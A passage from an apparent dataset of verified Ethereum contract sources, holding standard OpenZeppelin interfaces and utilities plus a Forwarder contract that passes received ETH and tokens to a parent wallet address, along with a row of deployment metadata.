"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC1155 compliant contract, as defined in the\n * https://eips.ethereum.org/EIPS/eip-1155[EIP].\n *\n * _Available since v3.1._\n */\ninterface IERC1155 is IERC165 {\n /**\n * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.\n */\n event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);\n\n /**\n * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all\n * transfers.\n */\n event TransferBatch(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256[] ids,\n uint256[] values\n );\n\n /**\n * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to\n * `approved`.\n */\n event ApprovalForAll(address indexed account, address indexed operator, bool approved);\n\n /**\n * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.\n *\n * If an {URI} event was emitted for `id`, the standard\n * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value\n * returned by {IERC1155MetadataURI-uri}.\n */\n event URI(string value, uint256 indexed id);\n\n /**\n * @dev Returns the amount of tokens of token type `id` owned by `account`.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function balanceOf(address account, uint256 id) external view returns (uint256);\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.\n *\n * Requirements:\n *\n * - `accounts` and `ids` must have the same length.\n */\n function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)\n external\n view\n returns (uint256[] memory);\n\n /**\n * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,\n *\n * Emits an {ApprovalForAll} event.\n *\n * Requirements:\n *\n * - `operator` cannot be the caller.\n */\n function setApprovalForAll(address operator, bool approved) external;\n\n /**\n * @dev Returns true if `operator` is approved to transfer ``account``'s tokens.\n *\n * See {setApprovalForAll}.\n */\n function isApprovedForAll(address account, address operator) external view returns (bool);\n\n /**\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\n *\n * Emits a {TransferSingle} event.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\n * acceptance magic value.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) external;\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.\n *\n * Emits a {TransferBatch} event.\n *\n * Requirements:\n *\n * - `ids` and `amounts` must have the same length.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\n * acceptance magic value.\n */\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) external;\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/utils/ERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC1155Receiver.sol\";\nimport \"../../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\nabstract contract ERC1155Receiver is ERC165, IERC1155Receiver {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return interfaceId == type(IERC1155Receiver).interfaceId || super.supportsInterface(interfaceId);\n }\n}\n"
},
"contracts/ERC20Interface.sol": {
"content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\n/**\n * Contract that exposes the needed erc20 token functions\n */\n\nabstract contract ERC20Interface {\n // Send _value amount of tokens to address _to\n function transfer(address _to, uint256 _value)\n public\n virtual\n returns (bool success);\n\n // Get the account balance of another account with address _owner\n function balanceOf(address _owner)\n public\n virtual\n view\n returns (uint256 balance);\n}\n"
},
"contracts/TransferHelper.sol": {
"content": "// SPDX-License-Identifier: GPL-3.0-or-later\n// source: https://github.com/Uniswap/solidity-lib/blob/master/contracts/libraries/TransferHelper.sol\npragma solidity 0.8.10;\n\nimport '@openzeppelin/contracts/utils/Address.sol';\n\n// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false\nlibrary TransferHelper {\n function safeTransfer(\n address token,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes('transfer(address,uint256)')));\n (bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(0xa9059cbb, to, value)\n );\n require(\n success && (data.length == 0 || abi.decode(data, (bool))),\n 'TransferHelper::safeTransfer: transfer failed'\n );\n }\n\n function safeTransferFrom(\n address token,\n address from,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));\n (bool success, bytes memory returndata) = token.call(\n abi.encodeWithSelector(0x23b872dd, from, to, value)\n );\n Address.verifyCallResult(\n success,\n returndata,\n 'TransferHelper::transferFrom: transferFrom failed'\n );\n }\n}\n"
},
"contracts/IForwarder.sol": {
"content": "pragma solidity ^0.8.0;\n\nimport '@openzeppelin/contracts/utils/introspection/IERC165.sol';\n\ninterface IForwarder is IERC165 {\n /**\n * Sets the autoflush721 parameter.\n *\n * @param autoFlush whether to autoflush erc721 tokens\n */\n function setAutoFlush721(bool autoFlush) external;\n\n /**\n * Sets the autoflush1155 parameter.\n *\n * @param autoFlush whether to autoflush erc1155 tokens\n */\n function setAutoFlush1155(bool autoFlush) external;\n\n /**\n * Execute a token transfer of the full balance from the forwarder token to the parent address\n *\n * @param tokenContractAddress the address of the erc20 token contract\n */\n function flushTokens(address tokenContractAddress) external;\n\n /**\n * Execute a nft transfer from the forwarder to the parent address\n *\n * @param tokenContractAddress the address of the ERC721 NFT contract\n * @param tokenId The token id of the nft\n */\n function flushERC721Token(address tokenContractAddress, uint256 tokenId)\n external;\n\n /**\n * Execute a nft transfer from the forwarder to the parent address.\n *\n * @param tokenContractAddress the address of the ERC1155 NFT contract\n * @param tokenId The token id of the nft\n */\n function flushERC1155Tokens(address tokenContractAddress, uint256 tokenId)\n external;\n\n /**\n * Execute a batch nft transfer from the forwarder to the parent address.\n *\n * @param tokenContractAddress the address of the ERC1155 NFT contract\n * @param tokenIds The token ids of the nfts\n */\n function batchFlushERC1155Tokens(\n address tokenContractAddress,\n uint256[] calldata tokenIds\n ) external;\n}\n"
},
"@openzeppelin/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\ninterface IERC1155Receiver is IERC165 {\n /**\n @dev Handles the receipt of a single ERC1155 token type. This function is\n called at the end of a `safeTransferFrom` after the balance has been updated.\n To accept the transfer, this must return\n `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))`\n (i.e. 0xf23a6e61, or its own function selector).\n @param operator The address which initiated the transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param id The ID of the token being transferred\n @param value The amount of tokens being transferred\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))` if transfer is allowed\n */\n function onERC1155Received(\n address operator,\n address from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external returns (bytes4);\n\n /**\n @dev Handles the receipt of a multiple ERC1155 token types. This function\n is called at the end of a `safeBatchTransferFrom` after the balances have\n been updated. To accept the transfer(s), this must return\n `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))`\n (i.e. 0xbc197c81, or its own function selector).\n @param operator The address which initiated the batch transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param ids An array containing ids of each token being transferred (order and length must match values array)\n @param values An array containing amounts of each token being transferred (order and length must match ids array)\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))` if transfer is allowed\n */\n function onERC1155BatchReceived(\n address operator,\n address from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/utils/introspection/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize, which returns 0 for contracts in\n // construction, since the code is only stored at the end of the\n // constructor execution.\n\n uint256 size;\n assembly {\n size := extcodesize(account)\n }\n return size > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"libraries": {}
}
}}
|
1 | 19,502,193 |
825a4f508d835a03d12e037d3c1395de459f44715c0bf19854aab75ad9b27f36
|
a686e57e546c411ea41302a7fda62b1a8c6e173a9613c25e3b1279ec54138a28
|
3d9592c8ddee576ac43eb886a099e78fd46e55f9
|
29ef46035e9fa3d570c598d3266424ca11413b0c
|
238d996113c900f6e65569329789298c4081230a
|
3d602d80600a3d3981f3363d3d373d3d3d363d735397d0869aba0d55e96d5716d383f6e1d8695ed75af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d735397d0869aba0d55e96d5716d383f6e1d8695ed75af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"contracts/Forwarder.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity 0.8.10;\nimport '@openzeppelin/contracts/token/ERC1155/IERC1155.sol';\nimport '@openzeppelin/contracts/token/ERC721/IERC721.sol';\nimport '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol';\nimport '@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol';\nimport './ERC20Interface.sol';\nimport './TransferHelper.sol';\nimport './IForwarder.sol';\n\n/**\n * Contract that will forward any incoming Ether to the creator of the contract\n *\n */\ncontract Forwarder is IERC721Receiver, ERC1155Receiver, IForwarder {\n // Address to which any funds sent to this contract will be forwarded\n address public parentAddress;\n bool public autoFlush721 = true;\n bool public autoFlush1155 = true;\n\n event ForwarderDeposited(address from, uint256 value, bytes data);\n\n /**\n * Initialize the contract, and sets the destination address to that of the creator\n */\n function init(\n address _parentAddress,\n bool _autoFlush721,\n bool _autoFlush1155\n ) external onlyUninitialized {\n parentAddress = _parentAddress;\n uint256 value = address(this).balance;\n\n // set whether we want to automatically flush erc721/erc1155 tokens or not\n autoFlush721 = _autoFlush721;\n autoFlush1155 = _autoFlush1155;\n\n if (value == 0) {\n return;\n }\n\n (bool success, ) = parentAddress.call{ value: value }('');\n require(success, 'Flush failed');\n\n // NOTE: since we are forwarding on initialization,\n // we don't have the context of the original sender.\n // We still emit an event about the forwarding but set\n // the sender to the forwarder itself\n emit ForwarderDeposited(address(this), value, msg.data);\n }\n\n /**\n * Modifier that will execute internal code block only if the sender is the parent address\n */\n modifier onlyParent {\n require(msg.sender == parentAddress, 'Only Parent');\n _;\n }\n\n /**\n * Modifier that will execute internal code block only if the contract has not been initialized yet\n */\n modifier onlyUninitialized {\n require(parentAddress == address(0x0), 'Already initialized');\n _;\n }\n\n /**\n * Default function; Gets called when data is sent but does not match any other function\n */\n fallback() external payable {\n flush();\n }\n\n /**\n * Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address\n */\n receive() external payable {\n flush();\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function setAutoFlush721(bool autoFlush)\n external\n virtual\n override\n onlyParent\n {\n autoFlush721 = autoFlush;\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function setAutoFlush1155(bool autoFlush)\n external\n virtual\n override\n onlyParent\n {\n autoFlush1155 = autoFlush;\n }\n\n /**\n * ERC721 standard callback function for when a ERC721 is transfered. The forwarder will send the nft\n * to the base wallet once the nft contract invokes this method after transfering the nft.\n *\n * @param _operator The address which called `safeTransferFrom` function\n * @param _from The address of the sender\n * @param _tokenId The token id of the nft\n * @param data Additional data with no specified format, sent in call to `_to`\n */\n function onERC721Received(\n address _operator,\n address _from,\n uint256 _tokenId,\n bytes memory data\n ) external virtual override returns (bytes4) {\n if (autoFlush721) {\n IERC721 instance = IERC721(msg.sender);\n require(\n instance.supportsInterface(type(IERC721).interfaceId),\n 'The caller does not support the ERC721 interface'\n );\n // this won't work for ERC721 re-entrancy\n instance.safeTransferFrom(address(this), parentAddress, _tokenId, data);\n }\n\n return this.onERC721Received.selector;\n }\n\n function callFromParent(\n address target,\n uint256 value,\n bytes calldata data\n ) external onlyParent returns (bytes memory) {\n (bool success, bytes memory returnedData) = target.call{ value: value }(\n data\n );\n require(success, 'Parent call execution failed');\n\n return returnedData;\n }\n\n /**\n * @inheritdoc IERC1155Receiver\n */\n function onERC1155Received(\n address _operator,\n address _from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external virtual override returns (bytes4) {\n IERC1155 instance = IERC1155(msg.sender);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n if (autoFlush1155) {\n instance.safeTransferFrom(address(this), parentAddress, id, value, data);\n }\n\n return this.onERC1155Received.selector;\n }\n\n /**\n * @inheritdoc IERC1155Receiver\n */\n function onERC1155BatchReceived(\n address _operator,\n address _from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external virtual override returns (bytes4) {\n IERC1155 instance = IERC1155(msg.sender);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n if (autoFlush1155) {\n instance.safeBatchTransferFrom(\n address(this),\n parentAddress,\n ids,\n values,\n data\n );\n }\n\n return this.onERC1155BatchReceived.selector;\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushTokens(address tokenContractAddress)\n external\n virtual\n override\n onlyParent\n {\n ERC20Interface instance = ERC20Interface(tokenContractAddress);\n address forwarderAddress = address(this);\n uint256 forwarderBalance = instance.balanceOf(forwarderAddress);\n if (forwarderBalance == 0) {\n return;\n }\n\n TransferHelper.safeTransfer(\n tokenContractAddress,\n parentAddress,\n forwarderBalance\n );\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushERC721Token(address tokenContractAddress, uint256 tokenId)\n external\n virtual\n override\n onlyParent\n {\n IERC721 instance = IERC721(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC721).interfaceId),\n 'The tokenContractAddress does not support the ERC721 interface'\n );\n\n address ownerAddress = instance.ownerOf(tokenId);\n instance.transferFrom(ownerAddress, parentAddress, tokenId);\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushERC1155Tokens(address tokenContractAddress, uint256 tokenId)\n external\n virtual\n override\n onlyParent\n {\n IERC1155 instance = IERC1155(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n address forwarderAddress = address(this);\n uint256 forwarderBalance = instance.balanceOf(forwarderAddress, tokenId);\n\n instance.safeTransferFrom(\n forwarderAddress,\n parentAddress,\n tokenId,\n forwarderBalance,\n ''\n );\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function batchFlushERC1155Tokens(\n address tokenContractAddress,\n uint256[] calldata tokenIds\n ) external virtual override onlyParent {\n IERC1155 instance = IERC1155(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n address forwarderAddress = address(this);\n uint256[] memory amounts = new uint256[](tokenIds.length);\n for (uint256 i = 0; i < tokenIds.length; i++) {\n amounts[i] = instance.balanceOf(forwarderAddress, tokenIds[i]);\n }\n\n instance.safeBatchTransferFrom(\n forwarderAddress,\n parentAddress,\n tokenIds,\n amounts,\n ''\n );\n }\n\n /**\n * Flush the entire balance of the contract to the parent address.\n */\n function flush() public {\n uint256 value = address(this).balance;\n\n if (value == 0) {\n return;\n }\n\n (bool success, ) = parentAddress.call{ value: value }('');\n require(success, 'Flush failed');\n emit ForwarderDeposited(msg.sender, value, msg.data);\n }\n\n /**\n * @inheritdoc IERC165\n */\n function supportsInterface(bytes4 interfaceId)\n public\n virtual\n override(ERC1155Receiver, IERC165)\n view\n returns (bool)\n {\n return\n interfaceId == type(IForwarder).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/IERC1155.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC1155 compliant contract, as defined in the\n * https://eips.ethereum.org/EIPS/eip-1155[EIP].\n *\n * _Available since v3.1._\n */\ninterface IERC1155 is IERC165 {\n /**\n * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.\n */\n event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);\n\n /**\n * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all\n * transfers.\n */\n event TransferBatch(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256[] ids,\n uint256[] values\n );\n\n /**\n * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to\n * `approved`.\n */\n event ApprovalForAll(address indexed account, address indexed operator, bool approved);\n\n /**\n * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.\n *\n * If an {URI} event was emitted for `id`, the standard\n * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value\n * returned by {IERC1155MetadataURI-uri}.\n */\n event URI(string value, uint256 indexed id);\n\n /**\n * 